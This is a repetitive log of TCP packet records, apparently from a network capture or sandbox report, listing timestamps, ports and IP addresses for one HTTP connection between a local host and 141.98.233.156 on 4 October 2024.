Oct 4, 2024 09:52:27.810278893 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.810326099 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.848831892 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.848884106 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.848916054 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.848948956 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.848980904 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.849000931 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.849000931 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.849010944 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.849044085 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.849097013 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.849097013 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.849097013 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.849324942 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.849356890 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.849380970 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.849389076 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.849400997 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.849420071 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.849438906 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.849452019 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.849462032 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.849483967 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.849498987 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.849515915 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.849534988 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.849546909 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.849556923 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.849579096 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.849594116 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.849627972 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.849628925 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.849661112 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.849678040 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.849692106 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.849715948 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.849723101 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.849734068 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.849754095 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.849777937 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.849787951 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.849814892 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.849821091 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.849836111 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.849869967 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.850008011 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.850042105 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.850061893 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.850074053 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.850083113 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.850105047 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.850123882 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.850142956 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.850148916 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.850173950 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.850197077 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.850205898 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.850229025 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.850235939 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.850251913 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.850266933 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.850285053 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.850300074 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.850308895 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.850332022 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.850348949 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.850363016 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.850378036 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.850394011 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.850408077 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.850425959 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.850454092 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.850456953 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.850485086 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.850490093 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.850502968 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.850528002 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.850541115 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.850583076 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.850696087 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.850728035 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.850745916 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.850775957 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.850805044 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.850836039 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.850852966 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.850869894 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.850888968 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.850912094 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.850971937 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.851002932 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.851023912 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.851035118 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.851054907 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.851066113 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.851082087 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.851097107 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.851109982 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.851128101 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.851149082 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.851160049 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.851171970 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.851216078 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.851377964 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.851428032 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.851438046 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.851459980 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.851480007 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.851490021 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.851502895 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.851522923 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.851535082 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.851553917 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.851569891 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.851584911 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.851598978 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.851615906 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.851634026 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.851648092 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.851661921 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.851680040 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.851700068 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.851711035 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.851722002 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.851744890 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.851758003 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.851794958 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.851851940 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.851883888 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.851900101 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.851914883 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.851933956 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.851947069 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.851958990 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.851978064 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.852003098 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.852010012 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.852026939 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.852056980 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.852061033 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.852087975 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.852107048 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.852119923 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.852135897 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.852150917 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.852178097 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.852185965 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.852200031 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.852232933 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.852488041 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.852519989 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.852540016 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.852550030 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.852561951 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.852581024 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.852612019 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.852627039 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.852643013 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.852667093 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.852674007 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.852703094 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.852704048 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.852735043 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.852736950 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.852760077 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.852766991 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.852777004 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.852797985 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.852822065 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.852832079 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.852840900 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.852880001 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.852910042 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.852941036 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.852962017 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.852972984 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.852988005 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.853019953 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.853060007 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.853091002 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.853110075 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.853122950 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.853135109 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.853168964 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.853212118 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.853243113 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.853260994 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.853274107 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.853296995 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.853305101 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.853324890 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.853352070 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.853974104 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.854007006 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.854027033 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.854041100 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.854058981 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.854093075 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.854132891 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.854163885 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.854192972 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.854195118 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.854213953 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.854226112 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.854240894 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.854269981 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.899080038 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.899139881 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.899188042 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.899211884 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.899211884 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.899220943 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.899251938 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.899283886 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.899285078 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.899285078 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.899310112 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.899322033 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.899329901 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.899372101 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.938131094 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.938143969 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.938153028 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.938160896 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.938167095 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.938174009 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.938180923 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.938189030 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.938194990 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.938203096 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.938210964 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.938219070 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.938342094 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.938545942 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.938568115 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.938580990 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.938594103 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.938606024 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.938606024 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.938620090 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.938630104 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.938644886 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.938658953 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.938667059 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.938672066 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.938705921 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.939117908 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.939131021 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.939152956 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.939161062 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.939163923 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.939177990 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.939188957 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.939192057 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.939204931 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.939218998 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.939224005 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.939259052 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.939289093 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.939301968 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.939316034 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.939322948 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.939330101 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.939344883 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.939356089 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.939358950 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.939373016 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.939392090 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.939398050 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.939414978 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.939446926 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.939812899 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.939843893 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.939856052 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.939877987 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.939879894 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.939907074 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.939915895 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.939939976 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.939944029 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.939970970 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.939976931 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.940001965 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.940009117 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.940033913 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.940038919 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.940064907 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.940071106 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.940095901 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.940102100 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.940129995 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.940699100 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.940730095 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.940740108 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.940762997 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.940768003 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.940793991 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.940799952 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.940824986 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.940829992 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.940856934 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.940871954 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.940888882 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.940903902 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.940920115 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.940927982 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.940953016 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.940957069 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.940984964 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.940988064 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.941023111 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.941204071 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.941236019 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.941243887 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.941267014 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.941272974 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.941299915 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.941303968 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.941337109 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.941378117 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.941407919 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.941416979 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.941443920 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.941526890 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.941557884 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.941565990 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.941590071 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.941593885 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.941622019 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.941627026 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.941653013 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.941658020 CEST	49745	80	192.168.2.4	141.98.233.156
